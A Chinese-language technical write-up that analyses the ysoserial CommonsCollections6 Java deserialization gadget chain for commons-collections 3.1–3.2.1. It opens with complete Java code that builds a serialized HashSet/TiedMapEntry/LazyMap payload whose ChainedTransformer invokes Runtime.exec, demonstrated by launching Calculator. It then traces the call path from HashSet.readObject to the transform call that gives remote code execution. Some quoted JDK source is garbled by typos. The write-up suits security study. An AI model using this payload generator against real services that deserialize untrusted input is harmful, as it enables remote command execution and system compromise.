简介
适用版本:3.1-3.2.1,jdk1.7,1.8均可成功
主要代码
public static void main(String[] args) throws Exception {
String command = "open /Applications/Calculator.app/";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
//创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
//取出HashSet对象的成员变量map
Permit.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
//取出HashMap对象的成员变量table
Permit.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
Permit.setAccessible(keyField);
keyField.set(node, entry);
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
利用链
分析
入口点是HashSet类,调用HashSet的readObject方法进行反序列化,将恶意的TiedMapEntry对象带入put函数(map是HashMap类的对象,e变量是我们传入的TiedMapEntry对象)
private void readobject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadobject();
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor)
new HashMap<E,Object>(capacity, LoadFactor));
int size = s.readInt();
for (int i=0; i<size; i++) {
E e=(E)s.readObject();
map.put (e, PRESENT); //这里
}
}
在put函数中会把恶意的TiedMapEntry对象放入hash函数中
public V put(K key, V value) {
if (key == null)
return putForNullKey (value);
int hash = hash(key); //这里
int i =indexFor(h: hash, length: table.Length);
for (Entry<K,v> e= table[il; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) = key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(m: this);
return oldValue;
}
}
在hash函数中调用了恶意的TiedMapEntry对象的hashCode函数(k是TiedMapEntry对象)
final int hash(Object k)
int h=0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^=k.hashCode(); //这里
h ^= (h >>> 20) ^ (h>>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
在hashCode函数中会调用恶意的TiedMapEntry对象自身的getValue函数,然后就回到了cc5的分析了
public int hashCode() {
Object value = this.getValue();
return (this.getkey() == null ? 0: this.getKey().hashCode())^(value== null ? 0: value.hashCode())
}
在getValue函数中调用this.map的get函数,This.map是LazyMap对象
public Object getValue() {
return this.map.get(this.key);
}
在get函数中调用恶意TiedMapEntry的This.factory(ChainedTransformer对象)对象的tranform方法,然后循环调用反射从而造成rce
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform (key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
参考文章
雷神众测ysoserial分析之CommonsCollections6
java反序列化-ysoserial-调试分析总结篇(6)